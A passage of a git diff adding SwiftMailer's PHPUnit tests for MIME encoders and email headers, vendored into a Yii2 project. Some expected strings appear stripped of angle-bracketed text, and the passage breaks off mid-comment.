$charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($ordinal)); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + $this->assertEquals(sprintf('=%02X', $ordinal), $collection->content); + } + } + + public function testFirstLineLengthCanBeDifferent() + { + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + + for ($seq = 0; $seq <= 140; ++$seq) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + } + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is, 22); + $this->assertEquals( + str_repeat('a', 53)."=\r\n".str_repeat('a', 75)."=\r\n".str_repeat('a', 13), + $collection->content + ); + } + + public function testObserverInterfaceCanChangeCharset() + { + $stream = $this->_createCharacterStream(); + $stream->shouldReceive('setCharacterSet') + ->once() + ->with('windows-1252'); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($stream); + $encoder->charsetChanged('windows-1252'); + } + + // -- Creation Methods + + private function _createCharacterStream($stub = false) + { + return $this->getMockery('Swift_CharacterStream')->shouldIgnoreMissing(); + } + + private function _createEncoder($charStream) + { + return new Swift_Mime_HeaderEncoder_QpHeaderEncoder($charStream); + } + + private function _createOutputByteStream($stub = false) + { + return $this->getMockery('Swift_OutputByteStream')->shouldIgnoreMissing(); + } + + private function _createInputByteStream($stub = false) + { + return $this->getMockery('Swift_InputByteStream')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/EmbeddedFileTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/EmbeddedFileTest.php new file mode 100644 index 00000000..f4c3ac89 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/EmbeddedFileTest.php @@ -0,0 +1,57 @@ +_createEmbeddedFile($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals( + Swift_Mime_MimeEntity::LEVEL_RELATED, $file->getNestingLevel() + ); + } + + public function testIdIsAutoGenerated() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addIdHeader') + ->once() + ->with('Content-ID', '/^.*?@.*?$/D'); + + $file = $this->_createEmbeddedFile($headers, $this->_createEncoder(), + $this->_createCache() + ); + } + + public function testDefaultDispositionIsInline() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addParameterizedHeader') + ->once() + ->with('Content-Disposition', 'inline'); + $headers->shouldReceive('addParameterizedHeader') + ->zeroOrMoreTimes(); + + $file = $this->_createEmbeddedFile($headers, $this->_createEncoder(), + $this->_createCache() + ); + } + + // -- Private helpers + + protected function _createAttachment($headers, $encoder, $cache, $mimeTypes = array()) + { + return $this->_createEmbeddedFile($headers, $encoder, $cache, $mimeTypes); + } + + private function _createEmbeddedFile($headers, $encoder, $cache) + { + return new Swift_Mime_EmbeddedFile($headers, $encoder, $cache, new Swift_Mime_Grammar()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/HeaderEncoder/Base64HeaderEncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/HeaderEncoder/Base64HeaderEncoderTest.php new file mode 100644 index 00000000..35801556 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/HeaderEncoder/Base64HeaderEncoderTest.php @@ -0,0 +1,13 @@ +assertEquals('B', $encoder->getName()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/HeaderEncoder/QpHeaderEncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/HeaderEncoder/QpHeaderEncoderTest.php new file mode 100644 index 00000000..54a792a6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/HeaderEncoder/QpHeaderEncoderTest.php @@ -0,0 +1,223 @@ +_createEncoder( + $this->_createCharacterStream(true) + ); + $this->assertEquals('Q', $encoder->getName()); + } + + public function testSpaceAndTabNeverAppear() + { + /* -- RFC 2047, 4. + Only a subset of the printable ASCII characters may be used in + 'encoded-text'. Space and tab characters are not allowed, so that + the beginning and end of an 'encoded-word' are obvious. + */ + + $charStream = $this->_createCharacterStream(); + $charStream->shouldReceive('readBytes') + ->atLeast()->times(6) + ->andReturn(array(ord('a')), array(0x20), array(0x09), array(0x20), array(ord('b')), false); + + $encoder = $this->_createEncoder($charStream); + $this->assertNotRegExp('~[ \t]~', $encoder->encodeString("a \t b"), + '%s: encoded-words in headers cannot contain LWSP as per RFC 2047.' + ); + } + + public function testSpaceIsRepresentedByUnderscore() + { + /* -- RFC 2047, 4.2. + (2) The 8-bit hexadecimal value 20 (e.g., ISO-8859-1 SPACE) may be + represented as "_" (underscore, ASCII 95.). (This character may + not pass through some internetwork mail gateways, but its use + will greatly enhance readability of "Q" encoded data with mail + readers that do not support this encoding.) Note that the "_" + always represents hexadecimal 20, even if the SPACE character + occupies a different code position in the character set in use. + */ + $charStream = $this->_createCharacterStream(); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x20)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = $this->_createEncoder($charStream); + $this->assertEquals('a_b', $encoder->encodeString('a b'), + '%s: Spaces can be represented by more readable underscores as per RFC 2047.' + ); + } + + public function testEqualsAndQuestionAndUnderscoreAreEncoded() + { + /* -- RFC 2047, 4.2. + (3) 8-bit values which correspond to printable ASCII characters other + than "=", "?", and "_" (underscore), MAY be represented as those + characters. (But see section 5 for restrictions.) In + particular, SPACE and TAB MUST NOT be represented as themselves + within encoded words. + */ + $charStream = $this->_createCharacterStream(); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('='))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('?'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('_'))); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = $this->_createEncoder($charStream); + $this->assertEquals('=3D=3F=5F', $encoder->encodeString('=?_'), + '%s: Chars =, ? and _ (underscore) may not appear as per RFC 2047.' + ); + } + + public function testParensAndQuotesAreEncoded() + { + /* -- RFC 2047, 5 (2). + A "Q"-encoded 'encoded-word' which appears in a 'comment' MUST NOT + contain the characters "(", ")" or " + */ + + $charStream = $this->_createCharacterStream(); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('('))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('"'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord(')'))); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = $this->_createEncoder($charStream); + $this->assertEquals('=28=22=29', $encoder->encodeString('(")'), + '%s: Chars (, " (DQUOTE) and ) may not appear as per RFC 2047.' + ); + } + + public function testOnlyCharactersAllowedInPhrasesAreUsed() + { + /* -- RFC 2047, 5. + (3) As a replacement for a 'word' entity within a 'phrase', for example, + one that precedes an address in a From, To, or Cc header. The ABNF + definition for 'phrase' from RFC 822 thus becomes: + + phrase = 1*( encoded-word / word ) + + In this case the set of characters that may be used in a "Q"-encoded + 'encoded-word' is restricted to: . An 'encoded-word' that appears within a + 'phrase' MUST be separated from any adjacent 'word', 'text' or + 'special' by 'linear-white-space'. + */ + + $allowedBytes = array_merge( + range(ord('a'), ord('z')), range(ord('A'), ord('Z')), + range(ord('0'), ord('9')), + array(ord('!'), ord('*'), ord('+'), ord('-'), ord('/')) + ); + + foreach (range(0x00, 0xFF) as $byte) { + $char = pack('C', $byte); + + $charStream = $this->_createCharacterStream(); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($byte)); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = $this->_createEncoder($charStream); + $encodedChar = $encoder->encodeString($char); + + if (in_array($byte, $allowedBytes)) { + $this->assertEquals($char, $encodedChar, + '%s: Character '.$char.' should not be encoded.' + ); + } elseif (0x20 == $byte) { + //Special case + $this->assertEquals('_', $encodedChar, + '%s: Space character should be replaced.' + ); + } else { + $this->assertEquals(sprintf('=%02X', $byte), $encodedChar, + '%s: Byte '.$byte.' should be encoded.' + ); + } + } + } + + public function testEqualsNeverAppearsAtEndOfLine() + { + /* -- RFC 2047, 5 (3). + The 'encoded-text' in an 'encoded-word' must be self-contained; + 'encoded-text' MUST NOT be continued from one 'encoded-word' to + another. This implies that the 'encoded-text' portion of a "B" + 'encoded-word' will be a multiple of 4 characters long; for a "Q" + 'encoded-word', any "=" character that appears in the 'encoded-text' + portion will be followed by two hexadecimal characters. + */ + + $input = str_repeat('a', 140); + + $charStream = $this->_createCharacterStream(); + + $output = ''; + $seq = 0; + for (; $seq < 140; ++$seq) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + + if (75 == $seq) { + $output .= "\r\n"; // =\r\n + } + $output .= 'a'; + } + + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = $this->_createEncoder($charStream); + $this->assertEquals($output, $encoder->encodeString($input)); + } + + // -- Creation Methods + + private function _createEncoder($charStream) + { + return new Swift_Mime_HeaderEncoder_QpHeaderEncoder($charStream); + } + + private function _createCharacterStream($stub = false) + { + return $this->getMockery('Swift_CharacterStream')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/DateHeaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/DateHeaderTest.php new file mode 100644 index 00000000..1822ea68 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/DateHeaderTest.php @@ -0,0 +1,69 @@ +_getHeader('Date'); + $this->assertEquals(Swift_Mime_Header::TYPE_DATE, $header->getFieldType()); + } + + public function testGetTimestamp() + { + $timestamp = time(); + $header = $this->_getHeader('Date'); + $header->setTimestamp($timestamp); + $this->assertSame($timestamp, $header->getTimestamp()); + } + + public function testTimestampCanBeSetBySetter() + { + $timestamp = time(); + $header = $this->_getHeader('Date'); + $header->setTimestamp($timestamp); + $this->assertSame($timestamp, $header->getTimestamp()); + } + + public function testIntegerTimestampIsConvertedToRfc2822Date() + { + $timestamp = time(); + $header = $this->_getHeader('Date'); + $header->setTimestamp($timestamp); + $this->assertEquals(date('r', $timestamp), $header->getFieldBody()); + } + + public function testSetBodyModel() + { + $timestamp = time(); + $header = $this->_getHeader('Date'); + $header->setFieldBodyModel($timestamp); + $this->assertEquals(date('r', $timestamp), $header->getFieldBody()); + } + + public function testGetBodyModel() + { + $timestamp = time(); + $header = $this->_getHeader('Date'); + $header->setTimestamp($timestamp); + $this->assertEquals($timestamp, $header->getFieldBodyModel()); + } + + public function testToString() + { + $timestamp = time(); + $header = $this->_getHeader('Date'); + $header->setTimestamp($timestamp); + $this->assertEquals('Date: '.date('r', $timestamp)."\r\n", + $header->toString() + ); + } + + private function _getHeader($name) + { + return new Swift_Mime_Headers_DateHeader($name, new Swift_Mime_Grammar()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/IdentificationHeaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/IdentificationHeaderTest.php new file mode 100644 index 00000000..93b3f609 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/IdentificationHeaderTest.php @@ -0,0 +1,189 @@ +_getHeader('Message-ID'); + $this->assertEquals(Swift_Mime_Header::TYPE_ID, $header->getFieldType()); + } + + public function testValueMatchesMsgIdSpec() + { + /* -- RFC 2822, 3.6.4. + message-id = "Message-ID:" msg-id CRLF + + in-reply-to = "In-Reply-To:" 1*msg-id CRLF + + references = "References:" 1*msg-id CRLF + + msg-id = [CFWS] "<" id-left "@" id-right ">" [CFWS] + + id-left = dot-atom-text / no-fold-quote / obs-id-left + + id-right = dot-atom-text / no-fold-literal / obs-id-right + + no-fold-quote = DQUOTE *(qtext / quoted-pair) DQUOTE + + no-fold-literal = "[" *(dtext / quoted-pair) "]" + */ + + $header = $this->_getHeader('Message-ID'); + $header->setId('id-left@id-right'); + $this->assertEquals('', $header->getFieldBody()); + } + + public function testIdCanBeRetrievedVerbatim() + { + $header = $this->_getHeader('Message-ID'); + $header->setId('id-left@id-right'); + $this->assertEquals('id-left@id-right', $header->getId()); + } + + public function testMultipleIdsCanBeSet() + { + $header = $this->_getHeader('References'); + $header->setIds(array('a@b', 'x@y')); + $this->assertEquals(array('a@b', 'x@y'), $header->getIds()); + } + + public function testSettingMultipleIdsProducesAListValue() + { + /* -- RFC 2822, 3.6.4. + The "References:" and "In-Reply-To:" field each contain one or more + unique message identifiers, optionally separated by CFWS. + + .. SNIP .. + + in-reply-to = "In-Reply-To:" 1*msg-id CRLF + + references = "References:" 1*msg-id CRLF + */ + + $header = $this->_getHeader('References'); + $header->setIds(array('a@b', 'x@y')); + $this->assertEquals(' ', $header->getFieldBody()); + } + + public function testIdLeftCanBeQuoted() + { + /* -- RFC 2822, 3.6.4. + id-left = dot-atom-text / no-fold-quote / obs-id-left + */ + + $header = $this->_getHeader('References'); + $header->setId('"ab"@c'); + $this->assertEquals('"ab"@c', $header->getId()); + $this->assertEquals('<"ab"@c>', $header->getFieldBody()); + } + + public function testIdLeftCanContainAnglesAsQuotedPairs() + { + /* -- RFC 2822, 3.6.4. + no-fold-quote = DQUOTE *(qtext / quoted-pair) DQUOTE + */ + + $header = $this->_getHeader('References'); + $header->setId('"a\\<\\>b"@c'); + $this->assertEquals('"a\\<\\>b"@c', $header->getId()); + $this->assertEquals('<"a\\<\\>b"@c>', $header->getFieldBody()); + } + + public function testIdLeftCanBeDotAtom() + { + $header = $this->_getHeader('References'); + $header->setId('a.b+&%$.c@d'); + $this->assertEquals('a.b+&%$.c@d', $header->getId()); + $this->assertEquals('', $header->getFieldBody()); + } + + public function testInvalidIdLeftThrowsException() + { + try { + $header = $this->_getHeader('References'); + $header->setId('a b c@d'); + $this->fail( + 'Exception should be thrown since "a b c" is not valid id-left.' + ); + } catch (Exception $e) { + } + } + + public function testIdRightCanBeDotAtom() + { + /* -- RFC 2822, 3.6.4. + id-right = dot-atom-text / no-fold-literal / obs-id-right + */ + + $header = $this->_getHeader('References'); + $header->setId('a@b.c+&%$.d'); + $this->assertEquals('a@b.c+&%$.d', $header->getId()); + $this->assertEquals('', $header->getFieldBody()); + } + + public function testIdRightCanBeLiteral() + { + /* -- RFC 2822, 3.6.4. + no-fold-literal = "[" *(dtext / quoted-pair) "]" + */ + + $header = $this->_getHeader('References'); + $header->setId('a@[1.2.3.4]'); + $this->assertEquals('a@[1.2.3.4]', $header->getId()); + $this->assertEquals('', $header->getFieldBody()); + } + + public function testInvalidIdRightThrowsException() + { + try { + $header = $this->_getHeader('References'); + $header->setId('a@b c d'); + $this->fail( + 'Exception should be thrown since "b c d" is not valid id-right.' + ); + } catch (Exception $e) { + } + } + + public function testMissingAtSignThrowsException() + { + /* -- RFC 2822, 3.6.4. + msg-id = [CFWS] "<" id-left "@" id-right ">" [CFWS] + */ + + try { + $header = $this->_getHeader('References'); + $header->setId('abc'); + $this->fail( + 'Exception should be thrown since "abc" is does not contain @.' + ); + } catch (Exception $e) { + } + } + + public function testSetBodyModel() + { + $header = $this->_getHeader('Message-ID'); + $header->setFieldBodyModel('a@b'); + $this->assertEquals(array('a@b'), $header->getIds()); + } + + public function testGetBodyModel() + { + $header = $this->_getHeader('Message-ID'); + $header->setId('a@b'); + $this->assertEquals(array('a@b'), $header->getFieldBodyModel()); + } + + public function testStringValue() + { + $header = $this->_getHeader('References'); + $header->setIds(array('a@b', 'x@y')); + $this->assertEquals('References: '."\r\n", $header->toString()); + } + + private function _getHeader($name) + { + return new Swift_Mime_Headers_IdentificationHeader($name, new Swift_Mime_Grammar()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/MailboxHeaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/MailboxHeaderTest.php new file mode 100644 index 00000000..e5f2238a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/MailboxHeaderTest.php @@ -0,0 +1,327 @@ +_getHeader('To', $this->_getEncoder('Q', true)); + $this->assertEquals(Swift_Mime_Header::TYPE_MAILBOX, $header->getFieldType()); + } + + public function testMailboxIsSetForAddress() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setAddresses('chris@swiftmailer.org'); + $this->assertEquals(array('chris@swiftmailer.org'), + $header->getNameAddressStrings() + ); + } + + public function testMailboxIsRenderedForNameAddress() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array('chris@swiftmailer.org' => 'Chris Corbyn')); + $this->assertEquals( + array('Chris Corbyn '), $header->getNameAddressStrings() + ); + } + + public function testAddressCanBeReturnedForAddress() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setAddresses('chris@swiftmailer.org'); + $this->assertEquals(array('chris@swiftmailer.org'), $header->getAddresses()); + } + + public function testAddressCanBeReturnedForNameAddress() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array('chris@swiftmailer.org' => 'Chris Corbyn')); + $this->assertEquals(array('chris@swiftmailer.org'), $header->getAddresses()); + } + + public function testQuotesInNameAreQuoted() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn, "DHE"', + )); + $this->assertEquals( + array('"Chris Corbyn, \"DHE\"" '), + $header->getNameAddressStrings() + ); + } + + public function testEscapeCharsInNameAreQuoted() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn, \\escaped\\', + )); + $this->assertEquals( + array('"Chris Corbyn, \\\\escaped\\\\" '), + $header->getNameAddressStrings() + ); + } + + public function testGetMailboxesReturnsNameValuePairs() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn, DHE', + )); + $this->assertEquals( + array('chris@swiftmailer.org' => 'Chris Corbyn, DHE'), $header->getNameAddresses() + ); + } + + public function testMultipleAddressesCanBeSetAndFetched() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setAddresses(array( + 'chris@swiftmailer.org', 'mark@swiftmailer.org', + )); + $this->assertEquals( + array('chris@swiftmailer.org', 'mark@swiftmailer.org'), + $header->getAddresses() + ); + } + + public function testMultipleAddressesAsMailboxes() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setAddresses(array( + 'chris@swiftmailer.org', 'mark@swiftmailer.org', + )); + $this->assertEquals( + array('chris@swiftmailer.org' => null, 'mark@swiftmailer.org' => null), + $header->getNameAddresses() + ); + } + + public function testMultipleAddressesAsMailboxStrings() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setAddresses(array( + 'chris@swiftmailer.org', 'mark@swiftmailer.org', + )); + $this->assertEquals( + array('chris@swiftmailer.org', 'mark@swiftmailer.org'), + $header->getNameAddressStrings() + ); + } + + public function testMultipleNamedMailboxesReturnsMultipleAddresses() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $this->assertEquals( + array('chris@swiftmailer.org', 'mark@swiftmailer.org'), + $header->getAddresses() + ); + } + + public function testMultipleNamedMailboxesReturnsMultipleMailboxes() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $this->assertEquals(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + ), + $header->getNameAddresses() + ); + } + + public function testMultipleMailboxesProducesMultipleMailboxStrings() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $this->assertEquals(array( + 'Chris Corbyn ', + 'Mark Corbyn ', + ), + $header->getNameAddressStrings() + ); + } + + public function testSetAddressesOverwritesAnyMailboxes() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $this->assertEquals( + array('chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn',), + $header->getNameAddresses() + ); + $this->assertEquals( + array('chris@swiftmailer.org', 'mark@swiftmailer.org'), + $header->getAddresses() + ); + + $header->setAddresses(array('chris@swiftmailer.org', 'mark@swiftmailer.org')); + + $this->assertEquals( + array('chris@swiftmailer.org' => null, 'mark@swiftmailer.org' => null), + $header->getNameAddresses() + ); + $this->assertEquals( + array('chris@swiftmailer.org', 'mark@swiftmailer.org'), + $header->getAddresses() + ); + } + + public function testNameIsEncodedIfNonAscii() + { + $name = 'C'.pack('C', 0x8F).'rbyn'; + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($name, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('C=8Frbyn'); + + $header = $this->_getHeader('From', $encoder); + $header->setNameAddresses(array('chris@swiftmailer.org' => 'Chris '.$name)); + + $addresses = $header->getNameAddressStrings(); + $this->assertEquals( + 'Chris =?'.$this->_charset.'?Q?C=8Frbyn?= ', + array_shift($addresses) + ); + } + + public function testEncodingLineLengthCalculations() + { + /* -- RFC 2047, 2. + An 'encoded-word' may not be more than 75 characters long, including + 'charset', 'encoding', 'encoded-text', and delimiters. + */ + + $name = 'C'.pack('C', 0x8F).'rbyn'; + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($name, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('C=8Frbyn'); + + $header = $this->_getHeader('From', $encoder); + $header->setNameAddresses(array('chris@swiftmailer.org' => 'Chris '.$name)); + + $header->getNameAddressStrings(); + } + + public function testGetValueReturnsMailboxStringValue() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + )); + $this->assertEquals( + 'Chris Corbyn ', $header->getFieldBody() + ); + } + + public function testGetValueReturnsMailboxStringValueForMultipleMailboxes() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $this->assertEquals( + 'Chris Corbyn , Mark Corbyn ', + $header->getFieldBody() + ); + } + + public function testRemoveAddressesWithSingleValue() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $header->removeAddresses('chris@swiftmailer.org'); + $this->assertEquals(array('mark@swiftmailer.org'), + $header->getAddresses() + ); + } + + public function testRemoveAddressesWithList() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $header->removeAddresses( + array('chris@swiftmailer.org', 'mark@swiftmailer.org') + ); + $this->assertEquals(array(), $header->getAddresses()); + } + + public function testSetBodyModel() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setFieldBodyModel('chris@swiftmailer.org'); + $this->assertEquals(array('chris@swiftmailer.org' => null), $header->getNameAddresses()); + } + + public function testGetBodyModel() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setAddresses(array('chris@swiftmailer.org')); + $this->assertEquals(array('chris@swiftmailer.org' => null), $header->getFieldBodyModel()); + } + + public function testToString() + { + $header = $this->_getHeader('From', $this->_getEncoder('Q', true)); + $header->setNameAddresses(array( + 'chris@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org' => 'Mark Corbyn', + )); + $this->assertEquals( + 'From: Chris Corbyn , '. + 'Mark Corbyn '."\r\n", + $header->toString() + ); + } + + private function _getHeader($name, $encoder) + { + $header = new Swift_Mime_Headers_MailboxHeader($name, $encoder, new Swift_Mime_Grammar()); + $header->setCharset($this->_charset); + + return $header; + } + + private function _getEncoder($type, $stub = false) + { + $encoder = $this->getMockery('Swift_Mime_HeaderEncoder')->shouldIgnoreMissing(); + $encoder->shouldReceive('getName') + ->zeroOrMoreTimes() + ->andReturn($type); + + return $encoder; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/ParameterizedHeaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/ParameterizedHeaderTest.php new file mode 100644 index 00000000..0f3fe145 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/ParameterizedHeaderTest.php @@ -0,0 +1,400 @@ +_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $this->assertEquals(Swift_Mime_Header::TYPE_PARAMETERIZED, $header->getFieldType()); + } + + public function testValueIsReturnedVerbatim() + { + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setValue('text/plain'); + $this->assertEquals('text/plain', $header->getValue()); + } + + public function testParametersAreAppended() + { + /* -- RFC 2045, 5.1 + parameter := attribute "=" value + + attribute := token + ; Matching of attributes + ; is ALWAYS case-insensitive. + + value := token / quoted-string + + token := 1* + + tspecials := "(" / ")" / "<" / ">" / "@" / + "," / ";" / ":" / "\" / <"> + "/" / "[" / "]" / "?" / "=" + ; Must be in quoted-string, + ; to use within parameter values + */ + + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setValue('text/plain'); + $header->setParameters(array('charset' => 'utf-8')); + $this->assertEquals('text/plain; charset=utf-8', $header->getFieldBody()); + } + + public function testSpaceInParamResultsInQuotedString() + { + $header = $this->_getHeader('Content-Disposition', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setValue('attachment'); + $header->setParameters(array('filename' => 'my file.txt')); + $this->assertEquals('attachment; filename="my file.txt"', + $header->getFieldBody() + ); + } + + public function testLongParamsAreBrokenIntoMultipleAttributeStrings() + { + /* -- RFC 2231, 3. + The asterisk character ("*") followed + by a decimal count is employed to indicate that multiple parameters + are being used to encapsulate a single parameter value. The count + starts at 0 and increments by 1 for each subsequent section of the + parameter value. Decimal values are used and neither leading zeroes + nor gaps in the sequence are allowed. + + The original parameter value is recovered by concatenating the + various sections of the parameter, in order. For example, the + content-type field + + Content-Type: message/external-body; access-type=URL; + URL*0="ftp://"; + URL*1="cs.utk.edu/pub/moore/bulk-mailer/bulk-mailer.tar" + + is semantically identical to + + Content-Type: message/external-body; access-type=URL; + URL="ftp://cs.utk.edu/pub/moore/bulk-mailer/bulk-mailer.tar" + + Note that quotes around parameter values are part of the value + syntax; they are NOT part of the value itself. Furthermore, it is + explicitly permitted to have a mixture of quoted and unquoted + continuation fields. + */ + + $value = str_repeat('a', 180); + + $encoder = $this->_getParameterEncoder(); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), 63, \Mockery::any()) + ->andReturn(str_repeat('a', 63)."\r\n". + str_repeat('a', 63)."\r\n".str_repeat('a', 54)); + + $header = $this->_getHeader('Content-Disposition', + $this->_getHeaderEncoder('Q', true), $encoder + ); + $header->setValue('attachment'); + $header->setParameters(array('filename' => $value)); + $header->setMaxLineLength(78); + $this->assertEquals( + 'attachment; '. + 'filename*0*=utf-8\'\''.str_repeat('a', 63).";\r\n ". + 'filename*1*='.str_repeat('a', 63).";\r\n ". + 'filename*2*='.str_repeat('a', 54), + $header->getFieldBody() + ); + } + + public function testEncodedParamDataIncludesCharsetAndLanguage() + { + /* -- RFC 2231, 4. + Asterisks ("*") are reused to provide the indicator that language and + character set information is present and encoding 